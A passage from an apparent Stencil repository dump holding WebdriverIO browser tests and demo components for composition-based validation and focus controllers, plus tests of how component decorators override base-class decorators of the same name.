browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const info = textInput?.querySelector('.focus-info')?.textContent;\n          return info?.includes('Focused: No') && info?.includes('Blur Count: 1');\n        },\n        { timeout: 5000 },\n      );\n    });\n\n    it('radio group validation works on blur', async () => {\n      const demo = frameContent.querySelector('composition-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const radioGroup = demo?.querySelector('composition-radio-group');\n      expect(radioGroup).toBeTruthy();\n\n      // Wait for radio container to be available\n      await browser.waitUntil(\n        () => {\n          const container = radioGroup?.querySelector('.radio-group');\n          return !!container;\n        },\n        { timeout: 5000 },\n      );\n\n      const radioContainer = radioGroup?.querySelector('.radio-group');\n\n      expect(radioContainer).toBeTruthy();\n\n      // Focus and blur without selecting - should show error\n      (radioContainer as HTMLElement)?.focus();\n      await browser.pause(100);\n      (radioContainer as HTMLElement)?.blur();\n\n      await browser.waitUntil(\n        () => {\n          const errorText = radioGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select an option');\n        },\n        { timeout: 5000 },\n      );\n\n      const errorText = radioGroup?.querySelector('.error-text');\n      expect(errorText?.textContent).toContain('Please select an option');\n    });\n\n    it('checkbox group validation works on blur', async () => {\n      const demo = frameContent.querySelector('composition-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const checkboxGroup = demo?.querySelector('composition-checkbox-group');\n      expect(checkboxGroup).toBeTruthy();\n\n      // Wait for checkbox container to be available\n      await browser.waitUntil(\n        () => {\n          const container = checkboxGroup?.querySelector('.checkbox-group');\n          return !!container;\n        },\n        { timeout: 5000 },\n      );\n\n      const checkboxContainer = checkboxGroup?.querySelector('.checkbox-group');\n\n      expect(checkboxContainer).toBeTruthy();\n\n      // Focus and blur without selecting - should show error\n      (checkboxContainer as HTMLElement)?.focus();\n      await browser.pause(100);\n      (checkboxContainer as HTMLElement)?.blur();\n\n      await browser.waitUntil(\n        () => {\n          const errorText = checkboxGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select at least one option');\n        },\n        { timeout: 5000 },\n      );\n\n      const errorText = checkboxGroup?.querySelector('.error-text');\n      expect(errorText?.textContent).toContain('Please select at least one option');\n    });\n\n    it('validation and focus controllers work together', async () => {\n      const textInput = frameContent.querySelector('composition-text-input');\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n\n      // Focus - should track focus\n      input?.focus();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const focusInfo = textInput?.querySelector('.focus-info')?.textContent;\n          return focusInfo?.includes('Focused: Yes');\n        },\n        { timeout: 5000 },\n      );\n\n      // Blur - should track blur AND validate\n      input?.blur();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const focusInfo = textInput?.querySelector('.focus-info')?.textContent;\n          const errorText = textInput?.querySelector('.error-text');\n          return (\n            focusInfo?.includes('Focused: No') &&\n            focusInfo?.includes('Blur Count: 1') &&\n            errorText?.textContent?.includes('Name is required')\n          );\n        },\n        { timeout: 5000 },\n      );\n    });\n\n    it('validates that both controllers use composition pattern', async () => {\n      const demo = frameContent.querySelector('composition-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      // All components should have both validation and focus functionality\n      const textInput = demo?.querySelector('composition-text-input');\n      const radioGroup = demo?.querySelector('composition-radio-group');\n      const checkboxGroup = demo?.querySelector('composition-checkbox-group');\n\n      // Each should have validation error display capability (trigger validation first)\n      // Trigger validation on text input to show error\n      const textInputField = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n      textInputField?.focus();\n      await browser.pause(50);\n      textInputField?.blur();\n      await browser.waitUntil(\n        () => {\n          const errorText = textInput?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Name is required');\n        },\n        { timeout: 5000 },\n      );\n      expect(textInput?.querySelector('.error-text')).toBeTruthy();\n\n      // Trigger validation on radio group to show error\n      const radioContainer = radioGroup?.querySelector('.radio-group') as HTMLElement;\n      radioContainer?.focus();\n      await browser.pause(50);\n      radioContainer?.blur();\n      await browser.waitUntil(\n        () => {\n          const errorText = radioGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select an option');\n        },\n        { timeout: 5000 },\n      );\n      expect(radioGroup?.querySelector('.error-text')).toBeTruthy();\n\n      // Trigger validation on checkbox group to show error\n      const checkboxContainer = checkboxGroup?.querySelector('.checkbox-group') as HTMLElement;\n      checkboxContainer?.focus();\n      await browser.pause(50);\n      checkboxContainer?.blur();\n      await browser.waitUntil(\n        () => {\n          const errorText = checkboxGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select at least one option');\n        },\n        { timeout: 5000 },\n      );\n      expect(checkboxGroup?.querySelector('.error-text')).toBeTruthy();\n\n      // Each should have focus info display\n      expect(textInput?.querySelector('.focus-info')).toBeTruthy();\n      expect(radioGroup?.querySelector('.focus-info')).toBeTruthy();\n      expect(checkboxGroup?.querySelector('.focus-info')).toBeTruthy();\n    });\n\n    it('controllers are automatically called during lifecycle via ReactiveControllerHost', async () => {\n      // This test verifies that controllers' lifecycle methods are called automatically\n      // via the ReactiveControllerHost base class, without needing explicit super() calls\n      // for each controller's lifecycle methods\n\n      const textInput = frameContent.querySelector('composition-text-input');\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n\n      // The fact that validation and focus tracking work proves that:\n      // 1. Controllers' hostDidLoad() was called automatically\n      // 2. Controllers are properly registered with ReactiveControllerHost\n      // 3. Lifecycle methods are chained automatically\n\n      // Verify controllers are working (which proves lifecycle was called)\n      input?.focus();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const focusInfo = textInput?.querySelector('.focus-info')?.textContent;\n          return focusInfo?.includes('Focus Count: 1');\n        },\n        { timeout: 5000 },\n      );\n\n      // This proves the composition pattern works:\n      // - Component extends ReactiveControllerHost\n      // - Controllers are instantiated and added automatically\n      // - Lifecycle methods are called automatically via base class\n      // - No need for explicit super() calls for each controller\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n/**\n * Main component that demonstrates composition-based scaling\n * with 3 components and 2 controllers (ValidationController and FocusController)\n */\n@Component({\n  tag: 'composition-scaling-demo',\n  styles: `\n    :host {\n      display: block;\n      padding: 20px;\n      font-family: Arial, sans-serif;\n    }\n\n    .demo-container {\n      max-width: 600px;\n      margin: 0 auto;\n    }\n\n    .component-section {\n      margin: 30px 0;\n      padding: 20px;\n      border: 1px solid #ddd;\n      border-radius: 4px;\n    }\n\n    .text-input-container,\n    .radio-group-container,\n    .checkbox-group-container {\n      margin: 10px 0;\n    }\n\n    label {\n      display: block;\n      margin-bottom: 8px;\n      font-weight: bold;\n    }\n\n    input[type='text'] {\n      width: 100%;\n      padding: 8px;\n      border: 1px solid #ccc;\n      border-radius: 4px;\n      box-sizing: border-box;\n    }\n\n    input[type='text'].invalid {\n      border-color: #f00;\n    }\n\n    .radio-group,\n    .checkbox-group {\n      display: flex;\n      flex-direction: column;\n      gap: 8px;\n    }\n\n    .radio-group label,\n    .checkbox-group label {\n      display: flex;\n      align-items: center;\n      font-weight: normal;\n      cursor: pointer;\n    }\n\n    .radio-group input[type='radio'],\n    .checkbox-group input[type='checkbox'] {\n      margin-right: 8px;\n    }\n\n    .validation-message {\n      margin-top: 8px;\n    }\n\n    .error-text {\n      color: #f00;\n      font-size: 0.875em;\n    }\n\n    .focus-info {\n      margin-top: 8px;\n      font-size: 0.875em;\n      color: #666;\n    }\n\n    h1 {\n      text-align: center;\n      color: #333;\n    }\n\n    h2 {\n      color: #555;\n      margin-top: 0;\n    }\n  `,\n})\nexport class CompositionScalingDemo {\n  render() {\n    return (\n      <div class=\"demo-container\">\n        <h1>Composition-Based Scaling Demo</h1>\n        <p>\n          This demo shows 3 components (TextInput, RadioGroup, CheckboxGroup) using 2 controllers (ValidationController,\n          FocusController) via composition.\n        </p>\n\n        <div class=\"component-section\">\n          <h2>Text Input Component</h2>\n          <composition-text-input />\n        </div>\n\n        <div class=\"component-section\">\n          <h2>Radio Group Component</h2>\n          <composition-radio-group />\n        </div>\n\n        <div class=\"component-section\">\n          <h2>Checkbox Group Component</h2>\n          <composition-checkbox-group />\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Composition Scaling Demo</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-composition-scaling.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Composition Scaling Demo</h1>\n  <composition-scaling-demo></composition-scaling-demo>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Composition Scaling Demo</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Composition Scaling Demo</h1>\n  <composition-scaling-demo></composition-scaling-demo>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/focus-controller.ts",
    "content": "/**\n * FocusController - demonstrates focus management controller via composition\n *\n * This controller:\n * 1. Manages focus state (isFocused, hasFocus)\n * 2. Tracks focus/blur events\n * 3. Provides methods to handle focus lifecycle\n */\nimport { forceUpdate } from '@stencil/core';\nimport type { ReactiveControllerHost, ReactiveController } from './reactive-controller-host.js';\n\nexport class FocusController implements ReactiveController {\n  private host: ReactiveControllerHost;\n  private isFocused: boolean = false;\n  private focusCount: number = 0;\n  private blurCount: number = 0;\n\n  constructor(host: ReactiveControllerHost) {\n    this.host = host;\n    host.addController(this);\n  }\n\n  // Lifecycle methods\n  hostDidLoad() {\n    // Setup focus tracking on component load\n    this.setupFocusTracking();\n  }\n\n  hostDisconnected() {\n    // Cleanup focus tracking\n    this.cleanupFocusTracking();\n  }\n\n  private setupFocusTracking() {\n    // Default implementation - can be extended\n  }\n\n  private cleanupFocusTracking() {\n    // Default implementation - can be extended\n  }\n\n  // Handle focus event\n  handleFocus() {\n    this.isFocused = true;\n    this.focusCount++;\n    forceUpdate(this.host);\n  }\n\n  // Handle blur event\n  handleBlur() {\n    this.isFocused = false;\n    this.blurCount++;\n    forceUpdate(this.host);\n  }\n\n  // Get focus state\n  getFocusState() {\n    return {\n      isFocused: this.isFocused,\n      focusCount: this.focusCount,\n      blurCount: this.blurCount,\n    };\n  }\n\n  // Reset focus tracking\n  resetFocusTracking() {\n    this.focusCount = 0;\n    this.blurCount = 0;\n    forceUpdate(this.host);\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/radio-group-cmp.tsx",
    "content": "import { Component, h, State, Element, Event, EventEmitter } from '@stencil/core';\nimport { ReactiveControllerHost } from './reactive-controller-host.js';\nimport { ValidationController } from './validation-controller.js';\nimport { FocusController } from './focus-controller.js';\n\n@Component({\n  tag: 'composition-radio-group',\n})\nexport class RadioGroupCmp extends ReactiveControllerHost {\n  @Element() el!: HTMLElement;\n  @State() value: string | undefined = undefined;\n  @State() helperText: string = 'Select an option';\n\n  @Event() valueChange!: EventEmitter<string>;\n\n  // Controllers via composition\n  private validation = new ValidationController(this);\n  private focus = new FocusController(this);\n\n  private inputId = `radio-group-${Math.random().toString(36).substr(2, 9)}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  componentWillLoad() {\n    super.componentWillLoad(); // Call base class to trigger controllers\n    // Set up validation callback\n    this.validation.setValidationCallback((val: string | undefined) => {\n      if (!val) {\n        return 'Please select an option';\n      }\n      return undefined;\n    });\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad(); // Call base class to trigger controllers\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback(); // Call base class to trigger controllers\n  }\n\n  private handleChange = (e: Event) => {\n    const radio = e.target as HTMLInputElement;\n    if (radio.checked) {\n      this.value = radio.value;\n      this.valueChange.emit(this.value);\n      this.validation.validate(this.value);\n    }\n  };\n\n  private handleFocus = () => {\n    this.focus.handleFocus();\n  };\n\n  private handleBlur = () => {\n    this.focus.handleBlur();\n    this.validation.handleBlur(this.value);\n  };\n\n  render() {\n    const focusState = this.focus.getFocusState();\n    const validationData = this.validation.getValidationMessageData(this.helperTextId, this.errorTextId);\n\n    return (\n      <div class=\"radio-group-container\">\n        <label>Select Option</label>\n        <div class=\"radio-group\" tabindex=\"0\" onFocus={this.handleFocus} onBlur={this.handleBlur}>\n          <label>\n            <input\n              type=\"radio\"\n              name={this.inputId}\n              value=\"option1\"\n              checked={this.value === 'option1'}\n              onChange={this.handleChange}\n            />\n            Option 1\n          </label>\n          <label>\n            <input\n              type=\"radio\"\n              name={this.inputId}\n              value=\"option2\"\n              checked={this.value === 'option2'}\n              onChange={this.handleChange}\n            />\n            Option 2\n          </label>\n          <label>\n            <input\n              type=\"radio\"\n              name={this.inputId}\n              value=\"option3\"\n              checked={this.value === 'option3'}\n              onChange={this.handleChange}\n            />\n            Option 3\n          </label>\n        </div>\n        {validationData.hasError && (\n          <div class=\"validation-message\">\n            <div id={validationData.errorTextId} class=\"error-text\">\n              {validationData.errorMessage}\n            </div>\n          </div>\n        )}\n        <div class=\"focus-info\">\n          Focused: {focusState.isFocused ? 'Yes' : 'No'} | Focus Count: {focusState.focusCount} | Blur Count:{' '}\n          {focusState.blurCount}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/reactive-controller-host.ts",
    "content": "import { ComponentInterface } from '@stencil/core';\n\nexport interface ReactiveController {\n  hostConnected?(): void;\n  hostDisconnected?(): void;\n  hostWillLoad?(): Promise<void> | void;\n  hostDidLoad?(): void;\n  hostWillRender?(): Promise<void> | void;\n  hostDidRender?(): void;\n  hostWillUpdate?(): Promise<void> | void;\n  hostDidUpdate?(): void;\n}\n\nexport class ReactiveControllerHost implements ComponentInterface {\n  controllers = new Set<ReactiveController>();\n\n  addController(controller: ReactiveController) {\n    this.controllers.add(controller);\n  }\n\n  removeController(controller: ReactiveController) {\n    this.controllers.delete(controller);\n  }\n\n  connectedCallback() {\n    this.controllers.forEach((controller) => controller.hostConnected?.());\n  }\n\n  disconnectedCallback() {\n    this.controllers.forEach((controller) => controller.hostDisconnected?.());\n  }\n\n  componentWillLoad() {\n    this.controllers.forEach((controller) => controller.hostWillLoad?.());\n  }\n\n  componentDidLoad() {\n    this.controllers.forEach((controller) => controller.hostDidLoad?.());\n  }\n\n  componentWillRender() {\n    this.controllers.forEach((controller) => controller.hostWillRender?.());\n  }\n\n  componentDidRender() {\n    this.controllers.forEach((controller) => controller.hostDidRender?.());\n  }\n\n  componentWillUpdate() {\n    this.controllers.forEach((controller) => controller.hostWillUpdate?.());\n  }\n\n  componentDidUpdate() {\n    this.controllers.forEach((controller) => controller.hostDidUpdate?.());\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/text-input-cmp.tsx",
    "content": "import { Component, h, State, Element } from '@stencil/core';\nimport { ReactiveControllerHost } from './reactive-controller-host.js';\nimport { ValidationController } from './validation-controller.js';\nimport { FocusController } from './focus-controller.js';\n\n@Component({\n  tag: 'composition-text-input',\n})\nexport class TextInputCmp extends ReactiveControllerHost {\n  @Element() el!: HTMLElement;\n  @State() value: string = '';\n  @State() helperText: string = 'Enter your name';\n\n  // Controllers via composition\n  private validation = new ValidationController(this);\n  private focus = new FocusController(this);\n\n  private inputId = `text-input-${Math.random().toString(36).substr(2, 9)}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  componentWillLoad() {\n    super.componentWillLoad(); // Call base class to trigger controllers\n    // Set up validation callback\n    this.validation.setValidationCallback((val: string) => {\n      if (!val || val.trim().length === 0) {\n        return 'Name is required';\n      }\n      if (val.length < 2) {\n        return 'Name must be at least 2 characters';\n      }\n      return undefined;\n    });\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad(); // Call base class to trigger controllers\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback(); // Call base class to trigger controllers\n  }\n\n  private handleInput = (e: Event) => {\n    const input = e.target as HTMLInputElement;\n    this.value = input.value;\n  };\n\n  private handleFocus = () => {\n    this.focus.handleFocus();\n  };\n\n  private handleBlur = () => {\n    this.focus.handleBlur();\n    this.validation.handleBlur(this.value);\n  };\n\n  render() {\n    const focusState = this.focus.getFocusState();\n    const validationState = this.validation.getValidationState();\n    const validationData = this.validation.getValidationMessageData(this.helperTextId, this.errorTextId);\n\n    return (\n      <div class=\"text-input-container\">\n        <label htmlFor={this.inputId}>Name</label>\n        <input\n          id={this.inputId}\n          type=\"text\"\n          value={this.value}\n          onInput={this.handleInput}\n          onFocus={this.handleFocus}\n          onBlur={this.handleBlur}\n          class={validationState.isValid ? '' : 'invalid'}\n        />\n        {validationData.hasError && (\n          <div class=\"validation-message\">\n            <div id={validationData.errorTextId} class=\"error-text\">\n              {validationData.errorMessage}\n            </div>\n          </div>\n        )}\n        <div class=\"focus-info\">\n          Focused: {focusState.isFocused ? 'Yes' : 'No'} | Focus Count: {focusState.focusCount} | Blur Count:{' '}\n          {focusState.blurCount}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/validation-controller.ts",
    "content": "/**\n * ValidationController - demonstrates validation controller via composition\n *\n * This controller:\n * 1. Manages validation state (isValid, errorMessage)\n * 2. Provides method to get validation message data for rendering\n * 3. Can trigger validation (ideally on blur)\n * 4. Runs a callback provided by the host for validation logic\n */\nimport { forceUpdate } from '@stencil/core';\nimport type { ReactiveControllerHost, ReactiveController } from './reactive-controller-host.js';\n\nexport class ValidationController implements ReactiveController {\n  private host: ReactiveControllerHost;\n  private isValid: boolean = true;\n  private errorMessage: string = '';\n  private validationCallback?: (value: any) => string | undefined;\n\n  constructor(host: ReactiveControllerHost) {\n    this.host = host;\n    host.addController(this);\n  }\n\n  // Lifecycle methods\n  hostDidLoad() {\n    // Setup validation on component load\n    this.setupValidation();\n  }\n\n  hostDisconnected() {\n    // Cleanup if needed\n    this.cleanupValidation();\n  }\n\n  // Setup validation - can be overridden by host\n  private setupValidation() {\n    // Default implementation - can be extended\n  }\n\n  private cleanupValidation() {\n    // Default implementation - can be extended\n  }\n\n  // Set the validation callback from host\n  setValidationCallback(callback: (value: any) => string | undefined) {\n    this.validationCallback = callback;\n  }\n\n  // Validate the value - returns true if valid, false otherwise\n  validate(value: any): boolean {\n    if (!this.validationCallback) {\n      this.isValid = true;\n      this.errorMessage = '';\n      forceUpdate(this.host);\n      return true;\n    }\n\n    const error = this.validationCallback(value);\n    this.isValid = !error;\n    this.errorMessage = error || '';\n    forceUpdate(this.host);\n    return this.isValid;\n  }\n\n  // Trigger validation on blur\n  handleBlur(value: any) {\n    this.validate(value);\n  }\n\n  // Get validation state\n  getValidationState() {\n    return {\n      isValid: this.isValid,\n      errorMessage: this.errorMessage,\n    };\n  }\n\n  // Get validation message data for rendering\n  getValidationMessageData(helperTextId?: string, errorTextId?: string) {\n    return {\n      isValid: this.isValid,\n      errorMessage: this.errorMessage,\n      helperTextId,\n      errorTextId,\n      hasError: !!this.errorMessage,\n    };\n  }\n\n  // Reset validation state\n  resetValidation() {\n    this.isValid = true;\n    this.errorMessage = '';\n    forceUpdate(this.host);\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-conflicts/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for decorator conflicts - duplicate decorator names of the same type in inheritance chains.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #13 - Decorator Conflicts\n * Features:\n * - Duplicate @Prop names (component overrides base)\n * - Duplicate @State names (component overrides base)\n * - Duplicate @Method names (component overrides base)\n * - Compiler precedence rules (component decorators take precedence)\n */\n\ndescribe('Test Case #13 – Decorator Conflicts (Duplicate decorator names)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-conflicts/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.container'), { timeout: 5000 });\n    });\n\n    describe('Duplicate @Prop Names', () => {\n      it('component @Prop overrides base @Prop - component value is used', async () => {\n        const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n\n        expect(duplicateProp?.textContent).toContain('Duplicate Prop: component prop value');\n        expect(duplicateProp?.textContent).not.toContain('base prop value');\n      });\n\n      it('component @Prop can be set via attribute', async () => {\n        const component = frameContent.querySelector('extends-conflicts');\n        component?.setAttribute('duplicate-prop', 'updated via attribute');\n\n        await browser.waitUntil(\n          () => {\n            const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n            return duplicateProp?.textContent?.includes('updated via attribute');\n          },\n          { timeout: 3000 },\n        );\n\n        const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n        expect(duplicateProp?.textContent).toContain('Duplicate Prop: updated via attribute');\n      });\n\n      it('component @Prop can be set via property', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n        component.duplicateProp = 'updated via property';\n\n        await browser.waitUntil(\n          () => {\n            const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n            return duplicateProp?.textContent?.includes('updated via property');\n          },\n          { timeout: 3000 },\n        );\n\n        const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n        expect(duplicateProp?.textContent).toContain('Duplicate Prop: updated via property');\n      });\n\n      it('base-only prop is still accessible and not overridden', async () => {\n        const baseOnlyProp = frameContent.querySelector('.base-only-prop-value');\n\n        expect(baseOnlyProp?.textContent).toContain('Base Only Prop: base only prop value');\n      });\n    });\n\n    describe('Duplicate @State Names', () => {\n      it('component @State overrides base @State - component value is used', async () => {\n        const duplicateState = frameContent.querySelector('.duplicate-state-value');\n\n        expect(duplicateState?.textContent).toContain('Duplicate State: component state value');\n        expect(duplicateState?.textContent).not.toContain('base state value');\n      });\n\n      it('component @State updates trigger re-renders correctly', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n        const button = frameContent.querySelector('.update-duplicate-state') as HTMLButtonElement;\n\n        // Click button to update duplicate state\n        button?.click();\n\n        await browser.waitUntil(\n          () => {\n            const duplicateState = frameContent.querySelector('.duplicate-state-value');\n            return duplicateState?.textContent?.includes('duplicate state updated');\n          },\n          { timeout: 3000 },\n        );\n\n        const duplicateState = frameContent.querySelector('.duplicate-state-value');\n        expect(duplicateState?.textContent).toContain('Duplicate State: duplicate state updated');\n      });\n\n      it('component @State can be updated via method', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n        await component.updateDuplicateState('updated via method');\n\n        await browser.waitUntil(\n          () => {\n            const duplicateState = frameContent.querySelector('.duplicate-state-value');\n            return duplicateState?.textContent?.includes('updated via method');\n          },\n          { timeout: 3000 },\n        );\n\n        const duplicateState = frameContent.querySelector('.duplicate-state-value');\n        expect(duplicateState?.textContent).toContain('Duplicate State: updated via method');\n      });\n\n      it('base-only state is still accessible and not overridden', async () => {\n        const baseOnlyState = frameContent.querySelector('.base-only-state-value');\n\n        expect(baseOnlyState?.textContent).toContain('Base Only State: base only state value');\n      });\n    });\n\n    describe('Duplicate @Method Names', () => {\n      it('component @Method overrides base @Method - component implementation is called', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        // Reset call logs\n        await component.resetAllCallLogs();\n\n        // Call duplicate method - should call component version, not base\n        const result = await component.duplicateMethod();\n\n        expect(result).toBe('component method');\n        expect(result).not.toBe('base method');\n      });\n\n      it('component @Method return value is used (not base)', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        await component.resetAllCallLogs();\n\n        const result = await component.duplicateMethod();\n        expect(result).toBe('component method');\n      });\n\n      it('component method call log shows component version was called', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        await component.resetAllCallLogs();\n\n        await component.duplicateMethod();\n\n        const componentLog = await component.getComponentMethodCallLog();\n        expect(componentLog).toContain('duplicateMethod:component');\n\n        // Verify base method was NOT called\n        const baseLog = await component.getMethodCallLog();\n        expect(baseLog).not.toContain('duplicateMethod:base');\n      });\n\n      it('base-only method is still accessible and not overridden', async () => {\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        await component.resetAllCallLogs();\n\n        const result = await component.baseOnlyMethod();\n        expect(result).toBe('base only method');\n\n        const baseLog = await component.getMethodCallLog();\n        expect(baseLog).toContain('baseOnlyMethod');\n      });\n    });\n\n    describe('Compiler Precedence Rules', () => {\n      it('component decorators take precedence over base decorators', async () => {\n        const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n        const duplicateState = frameContent.querySelector('.duplicate-state-value');\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        // Verify component values are used (not base)\n        expect(duplicateProp?.textContent).toContain('component prop value');\n        expect(duplicateState?.textContent).toContain('component state value');\n\n        // Verify component method is called\n        await component.resetAllCallLogs();\n        const methodResult = await component.duplicateMethod();\n        expect(methodResult).toBe('component method');\n      });\n\n      it('non-duplicate base decorators remain accessible', async () => {\n        const baseOnlyProp = frameContent.querySelector('.base-only-prop-value');\n        const baseOnlyState = frameContent.querySelector('.base-only-state-value');\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        expect(baseOnlyProp?.textContent).toContain('base only prop value');\n        expect(baseOnlyState?.textContent).toContain('base only state value');\n\n        const methodResult = await component.baseOnlyMethod();\n        expect(methodResult).toBe('base only method');\n      });\n\n      it('component-only decorators work correctly', async () => {\n        const componentOnlyState = frameContent.querySelector('.component-only-state-value');\n        const component = frameContent.querySelector('extends-conflicts') as any;\n\n        expect(componentOnlyState?.textContent).toContain('component only state');\n\n        await component.updateComponentOnlyState('component only updated');\n\n        await browser.waitUntil(\n          () => {\n            const updatedState = frameContent.querySelector('.component-only-state-value');\n            return updatedState?.textContent?.includes('component only updated');\n          },\n          { timeout: 3000 },\n        );\n\n        const updatedState = frameContent.querySelector('.component-only-state-value');\n        expect(updatedState?.textContent).toContain('Component Only State: component only updated');\n      });\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-conflicts/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.container'), { timeout: 5000 });\n    });\n\n    it('component @Prop overrides base @Prop in custom elements build', async () => {\n      const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n\n      expect(duplicateProp?.textContent).toContain('Duplicate Prop: component prop value');\n      expect(duplicateProp?.textContent).not.toContain('base prop value');\n    });\n\n    it('component @State overrides base @State in custom elements build', async () => {\n      const duplicateState = frameContent.querySelector('.duplicate-state-value');\n\n      expect(duplicateState?.textContent).toContain('Duplicate State: component state value');\n      expect(duplicateState?.textContent).not.toContain('base state value');\n    });\n\n    it('component @Method overrides base @Method in custom elements build', async () => {\n      const component = frameContent.querySelector('extends-conflicts') as any;\n\n      await component.resetAllCallLogs();\n\n      const result = await component.duplicateMethod();\n      expect(result).toBe('component method');\n\n      const componentLog = await component.getComponentMethodCallLog();\n      expect(componentLog).toContain('duplicateMethod:component');\n    });\n\n    it('component decorators take precedence in custom elements build', async () => {\n      const duplicateProp = frameContent.querySelector('.duplicate-prop-value');\n      const duplicateState = frameContent.querySelector('.duplicate-state-value');\n      const component = frameContent.querySelector('extends-conflicts') as any;\n\n      expect(duplicateProp?.textContent).toContain('component prop value');\n      expect(duplicateState?.textContent).toContain('component state value');\n\n      await component.resetAllCallLogs();\n      const methodResult = await component.duplicateMethod();\n      expect(methodResult).toBe('component method');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-conflicts/cmp.tsx",
    "content": "import { Component, Element, h, Method, Prop, State } from '@stencil/core';\nimport { ConflictsBase } from './conflicts-base.js';\n\n/**\n * ConflictsCmp - Demonstrates decorator conflicts in inheritance chains\n *\n * This component:\n * 1. Extends ConflictsBase (inherits base decorators)\n * 2. Defines duplicate decorators with same names but different values/behavior\n * 3. Verifies component decorators override base decorators\n * 4. Renders UI showing which version is active (component should win)\n */\n@Component({\n  tag: 'extends-conflicts',\n})\nexport class ConflictsCmp extends ConflictsBase {\n  @Element() el!: HTMLElement;\n\n  // Duplicate @Prop - same name as base, should override\n  @Prop() duplicateProp: string = 'component prop value';\n\n  // Duplicate @State - same name as base, should override\n  @State() duplicateState: string = 'component state value';\n\n  // Component-specific properties\n  @State() componentOnlyState: string = 'component only state';\n\n  // Tracking mechanism for component method calls\n  protected componentMethodCallLog: string[] = [];\n\n  /**\n   * Duplicate method - same name as base, should override\n   * Component version should be called, not base version\n   */\n  @Method()\n  async duplicateMethod(): Promise<string> {\n    this.componentMethodCallLog.push('duplicateMethod:component');\n    return 'component method';\n  }\n\n  /**\n   * Method to update duplicate state for testing\n   */\n  @Method()\n  async updateDuplicateState(value: string): Promise<void> {\n    this.duplicateState = value;\n  }\n\n  /**\n   * Method to update component-only state\n   */\n  @Method()\n  async updateComponentOnlyState(value: string): Promise<void> {\n    this.componentOnlyState = value;\n  }\n\n  /**\n   * Method to get component method call log\n   */\n  @Method()\n  async getComponentMethodCallLog(): Promise<string[]> {\n    return 